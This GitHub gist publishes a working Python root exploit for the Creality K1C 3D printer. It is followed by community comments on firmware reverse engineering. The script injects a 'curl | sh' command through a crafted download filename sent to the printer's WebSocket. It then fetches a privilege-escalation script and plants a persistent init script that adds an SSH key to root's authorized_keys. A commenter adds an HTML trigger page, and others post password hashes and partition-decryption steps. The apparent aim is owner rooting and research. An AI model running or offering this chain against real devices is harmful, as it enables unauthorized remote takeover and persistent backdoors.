Skip to content

Instantly share code, notes, and snippets.

@C0DEbrained
Last active February 11, 2026 13:48
Show Gist options
  • Select an option

  • Save C0DEbrained/c6f508109e34f43a39f4c22e901408dd to your computer and use it in GitHub Desktop.

Select an option

Save C0DEbrained/c6f508109e34f43a39f4c22e901408dd to your computer and use it in GitHub Desktop.
Creality K1C 2025 Root Exploit
import sys
import argparse
import threading
import json
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlencode, quote
import websocket # pip install websocket-client
PRINTER_PORT = 9999
SERVER_PORT = 4444
TIME = int(time.time())
class RequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
self.protocol_version = 'HTTP/1.0'
if self.path.startswith("/exploit"):
print(f"\n[!] Printer requested: {self.path}")
# 1. Send 200 OK
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
# 2. INJECT THE CRAFTED HEADER
print(f"[!] Sending crafted Content-Disposition header")
self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"')
self.end_headers()
# 3. Send dummy G-code content
self.wfile.write(b"G28\n")
print("[+] Payload sent! We should see a request for bootstrap.sh next....\n")
elif self.path == "/bootstrap.sh":
print("[+] Printer requested bootstrap.sh. Next up, privesc.py")
self.send_response(200)
self.end_headers()
self.wfile.write(f"""#!/bin/bash
wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py
chmod +x /tmp/privesc.py
udhcpc -f -n -i lo -s /tmp/privesc.py -q
""".encode())
elif self.path == "/privesc.py":
print("[+] Printer requested privesc.py. Next up, S999persistence")
self.send_response(200)
self.end_headers()
self.wfile.write(f"""#!/usr/bin/python3
import os
import subprocess
try:
os.setuid(0)
os.setgid(0)
# Download S999persistence script to /etc/appetc/init.d/S999persistence
subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"])
subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"])
subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"])
except Exception as e:
# Write to /usr/data/printer_data/logs/privesc_error
with open('/usr/data/printer_data/logs/privesc_error', 'w') as f:
f.write(str(e))
""".encode())
elif self.path == "/S999persistence":
self.send_response(200)
self.end_headers()
# Note: placeholder key line; update as needed when serving this path
self.wfile.write(f"""#!/bin/sh
[[ -d /root/.ssh ]] || mkdir -p /root/.ssh
echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys
[[ -f /etc/dropbear/dropbear_ed25519_host_key ]] || dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key
[[ -f /etc/dropbear/dropbear_rsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
[[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key
sed -i 's#sbin/nologin#bin/sh#' /etc/passwd
""".encode())
print("[!] Printer fetched the persistence script. We're finished!")
print("[!] Now, wait 30 seconds and try SSHing to the printer.")
sys.exit(0)
def start_server():
# Listen on Port 80 for the download request
server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler)
print(f"[*] HTTP Server listening on port {SERVER_PORT}...")
server.serve_forever()
def trigger_exploit():
# Connect to the printer's specific Slicer port
ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/"
print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...")
try:
# CRITICAL: Must request the specific subprotocol
ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"])
print("[+] WebSocket Connected!")
# Construct the JSON command
payload = {
"method": "set",
"params": {
# This triggers print_proc -> httpchunk -> RCE
"print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}",
"printId": "1337"
}
}
print(f"[*] Sending trigger: {json.dumps(payload)}")
ws.send(json.dumps(payload))
time.sleep(2)
ws.close()
except Exception as e:
print(f"[-] WebSocket Connection Failed: {e}")
raise e
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit server and trigger")
parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads")
parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP")
parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key")
args = parser.parse_args()
# Override globals with CLI values and recompute dependent values
HOST_IP = args.host_ip
PRINTER_IP = args.printer_ip
# Read the public key from the file
PUBLIC_KEY = str(open(args.public_key).read())
if not PUBLIC_KEY:
print("[-] Public key file is empty. Exiting.")
sys.exit(1)
SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh | sh"
FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode")
# 1. Start the HTTP server to host the payload
t = threading.Thread(target=start_server)
t.daemon = True
t.start()
# 2. Wait a moment, then fire the WebSocket trigger
time.sleep(1)
trigger_exploit()
@Exieros
Copy link

Exieros commented Jan 10, 2026

Not bad 🤝👍🏻

@JianChen-IT
Copy link

Thank you!

@skrillexsad
Copy link

Cool, its a pity that the helper script doesnt work. Do you know if its possible to insert improved shapers through this root or local fluidd?

@C0DEbrained
Copy link
Author

Cool, its a pity that the helper script doesnt work. Do you know if its possible to insert improved shapers through this root or local fluidd?

I've not checked but I don't see why not. If you give it a try I'd be curious to know how you get on!

@slaan1001
Copy link

slaan1001 commented Jan 13, 2026

Does anyone know the account and password for the 2025 K1C?

@C0DEbrained
Copy link
Author

You can find the password hash in the shadow file (/etc/shadow) but I haven't had a go at cracking it yet. If you need to run anything as the creality user you can always su as that user without knowing the password.

@skrillexsad
Copy link

Круто, жаль, что вспомогательный скрипт не работает. А вы не знаете, можно ли вставить улучшенные шейперы через этот корень или локальный fluidd?

Я не проверял, но не вижу причин, почему бы и нет. Если вы попробуете, мне будет интересно узнать, как у вас получится!

I dont know yet how to install improved shapers from the helper script, the firmware is very limited, and the standard shapers from Creality are very bad.

@C0DEbrained
Copy link
Author

Just want to point out that there is currently no firmware recovery for this model. Be careful what files you modify, as there is a risk that you can brick your device!

@gromas
Copy link

gromas commented Jan 17, 2026

Creality упал в моих глазах ниже плинтуса. Где можно сдать принтер обратно и вернуть свои деньги?

@asychin
Copy link

asychin commented Jan 19, 2026

Creality упал в моих глазах ниже плинтуса. Где можно сдать принтер обратно и вернуть свои деньги?

Почему? Наоборот же тебя защищают чтобы ты не наворотил делов. Покупай BL, кто не дает?

@kestassf
Copy link

kestassf commented Jan 27, 2026

Thank You very much.
The device tries to call home at api.crealitycloud.com and mqtt.crealitycloud.com (sends way too much info), so I'll keep it without any access to public internet to prevent any further "improvements" from Creality.

So far (USE THIS INFO AT YOUR OWN RISK):

MMC data

  • full MMC backup: ssh root@k1c 'dd if=/devmmcblk0 bs=1M' > mmc.dump
  • it seems X2600 processor on the mainboard uses Ingenic "secure boot" (google for X2000_Hardware_Design_Guide_V1.1.pdf, section 2.1.4 "Boot and Security Boot). Was unable to find any more relevant documentation.
  • MMC partition table (fdisk -l):
    -- first 1MB (GPT table and likely encrypted u-boot)
    -- p1 ("ota") ???
    -- p2 ("sn_mac") - info from it is decrypted to /tmp/params (see /bin/seed.sh)
    -- p3 ("rtos") - /UPDATE 2025-02-05/ likely not encrypted, as it is refeeed in the log at /usr/data/upgrade/ likely camera board firmware or something similar
    -- p4 ("rtos2") may be used by klipper (found ...[creality_rom_manager:load_infos:69] load device [flash](/dev/mmcblk0p4) in /usr/data/printer_data/logs/klippy.log)
    -- p5 ("kernel") - encrypted current kernel
    -- p6 ("kernel2") - encrypted older kernel (I did firmware update via USB, so likely the previous one)
    -- p7 ("rootfs") - not encrypted squashfs at 2048 byte offset (see /bin/seed.sh), loop-mounted on /usr/deplibs , not sure if it's checksum is verified on boot or not
    -- p8 ("rootfs2") - ext4 , mounted on /usr/apps
    -- p9 ("rootfs_data") - empty (zero filled)
    -- p10 ("userdata") - ext4, mounted on /usr/data (g-code files, logs ...)

Kernel

Kernel bootargs: console=ttyS2,3000000n8 mem=242M@0x0 rmem=13M@0xf200000 rtos_size=1M@0xff00000 rdinit=/linuxrc root=/dev/ram0 rootwait rootfstype=ramfs rw clk_ignore_unused , so it seems kernel mounts embedded ramfs, runs /linuxrc(busybox), which starts /etc/init.d/rcS, which starts /bin/seed.sh

/bin/seed.sh uses cmd_sc to verify/decode encrypted data/binaries, so I used the same cmd_sc to decode kernels: dumped p5 and p6 partitions, created unprivileged user just in case, chmod a+rw /dev/sc and run cmd_sc on dumps like in seed.sh. Device /dev/sc is related to soc_security.ko module loaded from the same seed.sh.

To get ramfs images from decoded kernels:

  • binwalk --extract kernel.img
  • zcat < Linux-5.10.186.bin > Linux-5.10.186.bin.extracted
  • binwalk --extract Linux-5.10.186.bin.extracted
  • cpio -it < decompressed.bin

Network

  • current status: ss -anp
  • iptables rules: iptables-save
  • to redirect mqtt messages to Your own server:echo '192.168.0.1 mqtt.crealitycloud.com' >> /etc/hosts

UPDATE 2025-02-05

u-Boot (?)

Encoded binary in the first 1MB of the flash at 0xA400 offset and not more than 195184 bytes size, likely u-Boot:

  • dd if=mmc.dump of=u-boot.encoded bs=1 skip=41984 count=195184
  • cmd_sc src=u-boot.encoded dst=u-boot.decoded

UPDATE 2025-02-09

u-Boot SPL (?)

Encoded binary in the first 1MB of the flash at 0x4400 (actual data at 0x4600) - ~0x8FFF. Needs a fake SCBT header. Decoding:

dd if=mmc.dump bs=1 skip=17920 seek=512 count=18944 of=spl.dump
echo -n SCBT | dd of=spl.dump conv=notrunc
  • decrypt as usual: cmd_sc src=spl.dump dst=spl . You should get spl binary, MD5 checksum 6ad0d80a9189c7d2f4615dad418ea6e4

Hope it helps to move forward.

@DRCRecoveryData
Copy link

I added a website version maybe working?

image
<!DOCTYPE html>
<html>
<head>
    <title>Printer RCE Web Trigger</title>
    <style>
        body { font-family: sans-serif; background: #121212; color: #e0e0e0; padding: 40px; }
        .container { max-width: 600px; margin: auto; background: #1e1e1e; padding: 25px; border-radius: 8px; border: 1px solid #333; }
        input, textarea { width: 100%; padding: 10px; margin: 10px 0; background: #2a2a2a; border: 1px solid #444; color: #fff; border-radius: 4px; }
        button { background: #007bff; color: white; border: none; padding: 12px 20px; cursor: pointer; border-radius: 4px; width: 100%; font-weight: bold; }
        button:hover { background: #0056b3; }
        #status { margin-top: 20px; padding: 10px; border-left: 3px solid #007bff; background: #111; font-family: monospace; white-space: pre-wrap; }
    </style>
</head>
<body>
    <div class="container">
        <h2>K1C Exploit Trigger</h2>
        
        <label>Printer IP:</label>
        <input type="text" id="printerIp" placeholder="192.168.1.100">

        <label>Public Key (Contents of id_ecdsa.pub):</label>
        <textarea id="pubKey" rows="3" placeholder="ecdsa-sha2-nistp256 ..."></textarea>

        <label>Host IP (Your PC running the payload host):</label>
        <input type="text" id="hostIp" placeholder="192.168.1.50">

        <button onclick="launchExploit()">Send Exploit Trigger</button>
        
        <div id="status">System Ready.</div>
    </div>

    <script>
        function log(msg) {
            document.getElementById('status').innerText += "\n" + msg;
        }

        async function launchExploit() {
            const printerIp = document.getElementById('printerIp').value;
            const hostIp = document.getElementById('hostIp').value;
            const wsUrl = `ws://${printerIp}:9999/`;
            
            log(`[!] Attempting connection to ${wsUrl}...`);

            try {
                // Browsers allow subprotocols like 'wsslicer'
                const socket = new WebSocket(wsUrl, ["wsslicer"]);

                socket.onopen = () => {
                    log("[+] WebSocket Connected!");
                    
                    const payload = {
                        "method": "set",
                        "params": {
                            "print": `http://${hostIp}:4444/exploit-${Date.now()}`,
                            "printId": "1337"
                        }
                    };

                    log("[*] Sending trigger payload...");
                    socket.send(JSON.stringify(payload));
                    log("[+] Trigger sent! Keep your payload host running.");
                    
                    setTimeout(() => socket.close(), 3000);
                };

                socket.onerror = (error) => {
                    log("[-] WebSocket Error. Check Printer IP and Network.");
                };

                socket.onclose = () => log("[*] Connection closed.");

            } catch (e) {
                log("[-] Error: " + e.message);
            }
        }
    </script>
</body>
</html>

@DRCRecoveryData
Copy link

You can find the password hash in the shadow file (/etc/shadow) but I haven't had a go at cracking it yet. If you need to run anything as the creality user you can always su as that user without knowing the password.

Do you have hash of it?

@kestassf
Copy link

kestassf commented Feb 2, 2026

Do you have hash of it?

From RAMFS:/etc/shadow_security:
!root:$1$FgWavfhM$xLITYIZ59pfIFs6ESSnE2/:20129::::::
!creality:$5$i8KKHaaFTqP2XasW$uuOKlkGLEI3gvfPBDgBjTmjWCU1cq7g6q58Xjd9M4uD:::::::

These are copied to /etc/shadow -> /tmp/shadow on boot. And may be "unlocked" by removing ! from seed.sh if correct encrypted /usr/data/permission file is present (as far as I understand these passwords are unusable unless You get and upload permission file).

@C0DEbrained
Copy link
Author

Do you have hash of it?

From RAMFS:/etc/shadow_security: !root:$1$FgWavfhM$xLITYIZ59pfIFs6ESSnE2/:20129:::::: !creality:$5$i8KKHaaFTqP2XasW$uuOKlkGLEI3gvfPBDgBjTmjWCU1cq7g6q58Xjd9M4uD:::::::

These are copied to /etc/shadow -> /tmp/shadow on boot. And may be "unlocked" by removing ! from seed.sh if correct encrypted /usr/data/permission file is present (as far as I understand these passwords are unusable unless You get and upload permission file).

This is actually something that was added in the .26 release, and looks to be an official process to gain root that's still under development. Based on the code I found it looks like you'll probably have to sign an agreement and they'll give you the permission file in return that you then put on a USB. This will be signed (and verified with cmd_sc) and tied to your device.

@DRCRecoveryData
Copy link

Do you have hash of it?

From RAMFS:/etc/shadow_security: !root:$1$FgWavfhM$xLITYIZ59pfIFs6ESSnE2/:20129:::::: !creality:$5$i8KKHaaFTqP2XasW$uuOKlkGLEI3gvfPBDgBjTmjWCU1cq7g6q58Xjd9M4uD:::::::
These are copied to /etc/shadow -> /tmp/shadow on boot. And may be "unlocked" by removing ! from seed.sh if correct encrypted /usr/data/permission file is present (as far as I understand these passwords are unusable unless You get and upload permission file).

This is actually something that was added in the .26 release, and looks to be an official process to gain root that's still under development. Based on the code I found it looks like you'll probably have to sign an agreement and they'll give you the permission file in return that you then put on a USB. This will be signed (and verified with cmd_sc) and tied to your device.

So new mainboard they encrypted emmc?

@skrillexsad
Copy link

In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.

@C0DEbrained
Copy link
Author

In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.

Root alone doesn't give anything I guess, but it does open up the gateway to do a lot more including rewriting the helper script.

@skrillexsad
Copy link

In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.

Root alone doesn't give anything I guess, but it does open up the gateway to do a lot more including rewriting the helper script.

Have you figured out how to transfer klipper from the closed section yet?

@C0DEbrained
Copy link
Author

In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.

Root alone doesn't give anything I guess, but it does open up the gateway to do a lot more including rewriting the helper script.

Have you figured out how to transfer klipper from the closed section yet?

Not quite sure what you're meaning here?

I've setup a discord server for anybody wanting to discuss further / work on helper script porting too: https://discord.gg/FffAZcUJtr

@kestassf
Copy link

kestassf commented Feb 2, 2026

So new mainboard they encrypted emmc?

Partially encrypted. I don't know how exactly X2000 secure boot works, but if I correctly understand pdf referred above - the chip has a bunch of one-time-programmable fuses used to turn on secure boot and on-chip memory to hold the key (not sure if it is possible to change it after initial programming).

So it seems bootloader is encrypted (likely it is u-boot, but haven't verified). Kernel with embedded RAMfs is also encrypted (can be easily decrypted as shown above). /usr/deplibs is not encryppted (squashfs), but haven't verified if it's checsum is verified on boot. Tho ext4 filesystems /usr/apps ant /usr/data are not encrypted and can be modified (exploit modifies /usr/apps without causing issues).

/usr/apps contains 8 encrypted binaries, which are decrypted to tmpfs at /tmp/apps on boot (can be downloaded for further inspection once You have root).

Klipper seems to be not encrypted, but it is present in Python byte code only (.pyc files). At least some i'ts config files are plain text.

"sn_mac" partition is also encrypted and contains at least model and device info (likely unique).

@C0DEbrained
Copy link
Author

So new mainboard they encrypted emmc?

Partially encrypted. I don't know how exactly X2000 secure boot works, but if I correctly understand pdf referred above - the chip has a bunch of one-time-programmable fuses used to turn on secure boot and on-chip memory to hold the key (not sure if it is possible to change it after initial programming).

So it seems bootloader is encrypted (likely it is u-boot, but haven't verified). Kernel with embedded RAMfs is also encrypted (can be easily decrypted as shown above). /usr/deplibs is not encryppted (squashfs), but haven't verified if it's checsum is verified on boot. Tho ext4 filesystems /usr/apps ant /usr/data are not encrypted and can be modified (exploit modifies /usr/apps without causing issues).

/usr/apps contains 8 encrypted binaries, which are decrypted to tmpfs at /tmp/apps on boot (can be downloaded for further inspection once You have root).

Klipper seems to be not encrypted, but it is present in Python byte code only (.pyc files). At least some i'ts config files are plain text.

"sn_mac" partition is also encrypted and contains at least model and device info (likely unique).

The cmd_sc command is what is used to decrypt these (e.g. cmd_sc src=/tmp/sn_mac.signed dst=/tmp/params > /dev/console 2>&1 from /bin/seed.sh)

@kestassf
Copy link

kestassf commented Feb 7, 2026

Serial interface on the board is available on GND/RX2/TX2 connector in the center of the board: 3.3V UART, 3Mbps (3Mhz), 8-bit, parity none, 1 stop bit, lsb-first. Used PL2303 USB-to-serial converter. Login works, once You fix passwd and shadow files.

U-Boot SPL 2013.07 (Aug 26 2025 - 05:43:32)
ERROR EPC 8e11a37f
CPA_CPAPCR:0300490d
CPM_CPMPCR:04b0490d
CPM_CPEPCR:0190510d
CPM_CPCCR:9a0b5410
DDR: W632GU6QG-11 type is : DDR3
Security boot...


U-Boot 2013.07 (Aug 26 2025 - 05:43:32)

Board: x2600e_creality (Ingenic XBurst2 X2600E SoC)
DRAM:  256 MiB
Top of RAM usable for U-Boot at: 90000000
Reserving 496k for U-Boot at: 8ff80000
Reserving 16416k for malloc() at: 8ef58000
Reserving 32 Bytes for Board Info at: 8ef57fe0
Reserving 128k for boot params() at: 8ff60000
Reserving 124 Bytes for Global Data at: 8ef57f64
Stack Pointer at: 8ef57f48
Now running in RAM - U-Boot at: 8ff80000
MMC:   MSC: 0
[CMD8]: Error detected in status(0x18000)!
[CMD55]: Error detected in status(0x18000)!
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
Net:   GMAC-9161
mmc0(part 0) is current device
Security boot...
## Booting kernel from Legacy Image at 80a00800 ...
   Image Name:   Linux-5.10.186
   Image Type:   MIPS Linux Kernel Image (gzip compressed)
   Data Size:    8221324 Bytes = 7.8 MiB
   Load Address: 80010000
   Entry Point:  80972ca0
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK

Starting kernel ...

[    0.000000] Linux version 5.10.186 (root@b62d0822127a) (mips-linux-gnu-gcc (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 7.2.0, GNU
 ld (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 2.27) #1 SMP PREEMPT Fri Oct 24 11:22:56 CST 2025
[    0.000000] CPU0 RESET ERROR PC:8E11A37F
[    0.000000] printk: bootconsole [early0] enabled
...

The rest is visible via dmesg once You are logged in.

@DRCRecoveryData
Copy link

Serial interface on the board is available on GND/RX2/TX2 connector in the center of the board: 3.3V UART, 3Mbps (3Mhz), 8-bit, parity none, 1 stop bit, lsb-first. Used PL2303 USB-to-serial converter. Login works, once You fix passwd and shadow files.

U-Boot SPL 2013.07 (Aug 26 2025 - 05:43:32)
ERROR EPC 8e11a37f
CPA_CPAPCR:0300490d
CPM_CPMPCR:04b0490d
CPM_CPEPCR:0190510d
CPM_CPCCR:9a0b5410
DDR: W632GU6QG-11 type is : DDR3
Security boot...


U-Boot 2013.07 (Aug 26 2025 - 05:43:32)

Board: x2600e_creality (Ingenic XBurst2 X2600E SoC)
DRAM:  256 MiB
Top of RAM usable for U-Boot at: 90000000
Reserving 496k for U-Boot at: 8ff80000
Reserving 16416k for malloc() at: 8ef58000
Reserving 32 Bytes for Board Info at: 8ef57fe0
Reserving 128k for boot params() at: 8ff60000
Reserving 124 Bytes for Global Data at: 8ef57f64
Stack Pointer at: 8ef57f48
Now running in RAM - U-Boot at: 8ff80000
MMC:   MSC: 0
[CMD8]: Error detected in status(0x18000)!
[CMD55]: Error detected in status(0x18000)!
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
Net:   GMAC-9161
mmc0(part 0) is current device
Security boot...
## Booting kernel from Legacy Image at 80a00800 ...
   Image Name:   Linux-5.10.186
   Image Type:   MIPS Linux Kernel Image (gzip compressed)
   Data Size:    8221324 Bytes = 7.8 MiB
   Load Address: 80010000
   Entry Point:  80972ca0
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK

Starting kernel ...

[    0.000000] Linux version 5.10.186 (root@b62d0822127a) (mips-linux-gnu-gcc (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 7.2.0, GNU
 ld (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 2.27) #1 SMP PREEMPT Fri Oct 24 11:22:56 CST 2025
[    0.000000] CPU0 RESET ERROR PC:8E11A37F
[    0.000000] printk: bootconsole [early0] enabled
...

The rest is visible via dmesg once You are logged in.

So original ssh password of root not found?

I remember of old method to change root password maybe working:

https://samy.link/blog/build-your-own-wifi-pineapple-tetra-for-7

IMG_7817

@C0DEbrained

@kestassf
Copy link

kestassf commented Feb 9, 2026

Updated earlier comment on u-Boot SPL decoding.

@kestassf
Copy link

kestassf commented Feb 9, 2026

Don't touch

  • encrypted binaries in /usr/apps/usr/bin/. These are verified by /bin/seed.sh, the system will halt in case of failure.
alchemistp.bin
mdns.bin
nexusp.bin
onyxp.bin
quintusp.bin
solusp.bin
thirteenthp.bin
vectorp.bin
  • SquashFS partition and its encrypted headers (data in /dev/mmcblk0p1 partition) - it is verified by /bin/seed.sh, the system will halt in case of failure.
  • sn_mac partition (/dev/mmcblk0p2) - it is verified by /bin/seed.sh, the system will halt in case of failure.
  • /usr/data/permission file - it is verified by /bin/seed.sh to "unlock" root and creality account. If cmd_sc "freezes" - system will halt (don't put any radom file in /usr/data/permission)
  • first 1MB of MMC (GPT and bootloader) - u-Boot SPL and u-Boot should be verified by Ingenic secure boot or SPL before they are started
  • kernel and kernel2 - should be verified before it is started.

At least in some cases cmd_sc freezes (ioctl on /dev/sc stall) if encrypted data is modified (explicit halt is not required to brick the system).

It is not an extensive list. Keep Your eyes open 👁️ 👁️

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment